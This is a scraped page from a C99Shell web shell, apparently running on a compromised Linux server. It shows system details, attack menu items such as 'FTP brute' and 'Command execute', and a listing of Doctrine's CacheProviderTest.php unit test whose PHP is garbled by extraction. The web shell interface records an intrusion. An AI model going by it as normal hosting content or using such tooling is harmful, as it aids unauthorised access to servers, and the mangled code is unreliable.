!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/   drwxrwxr-x
Free 15.59 GB of 61.93 GB (25.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CacheProviderTest.php (3.15 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Tests\Common\Cache;

class 
CacheProviderTest extends \Doctrine\Tests\DoctrineTestCase
{
    public function 
testFetchMultiWillFilterNonRequestedKeys()
    {
        
/* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */
        
$cache $this->getMockForAbstractClass(
            
'Doctrine\Common\Cache\CacheProvider',
            array(),
            
'',
            
true,
            
true,
            
true,
            array(
'doFetchMultiple')
        );

        
$cache
            
->expects($this->once())
            ->
method('doFetchMultiple')
            ->
will($this->returnValue(array(
                
'[foo][1]' => 'bar',
                
'[bar][1]' => 'baz',
                
'[baz][1]' => 'tab',
            )));

        
$this->assertEquals(
            array(
'foo' => 'bar''bar' => 'baz'),
            
$cache->fetchMultiple(array('foo''bar'))
        );
    }

    public function 
testFailedDeleteAllDoesNotChangeNamespaceVersion()
    {
        
/* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */
        
$cache $this->getMockForAbstractClass(
            
'Doctrine\Common\Cache\CacheProvider',
            array(),
            
'',
            
true,
            
true,
            
true,
            array(
'doFetch''doSave''doContains')
        );

        
$cache
            
->expects($this->once())
            ->
method('doFetch')
            ->
with('DoctrineNamespaceCacheKey[]')
            ->
will($this->returnValue(false));

        
// doSave is only called once from deleteAll as we do not need to persist the default version in getNamespaceVersion()
        
$cache
            
->expects($this->once())
            ->
method('doSave')
            ->
with('DoctrineNamespaceCacheKey[]')
            ->
will($this->returnValue(false));

        
// After a failed deleteAll() the local namespace version is not increased (still 1). Otherwise all data written afterwards
        // would be lost outside the current instance.
        
$cache
            
->expects($this->once())
            ->
method('doContains')
            ->
with('[key][1]')
            ->
will($this->returnValue(true));

        
$this->assertFalse($cache->deleteAll(), 'deleteAll() returns false when saving the namespace version fails');
        
$cache->contains('key');
    }

    public function 
testSaveMultipleNoFail()
    {
        
/* @var $cache \Doctrine\Common\Cache\CacheProvider|\PHPUnit_Framework_MockObject_MockObject */
        
$cache $this->getMockForAbstractClass(
            
'Doctrine\Common\Cache\CacheProvider',
            array(),
            
'',
            
true,
            
true,
            
true,
            array(
'doSave')
        );

        
$cache
            
->expects($this->at(1))
            ->
method('doSave')
            ->
with('[kerr][1]''verr'0)
            ->
will($this->returnValue(false));

        
$cache
            
->expects($this->at(2))
            ->
method('doSave')
            ->
with('[kok][1]''vok'0)
            ->
will($this->returnValue(true));

        
$cache->saveMultiple(array(
            
'kerr'  => 'verr',
            
'kok'   => 'vok',
        ));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.3212 ]--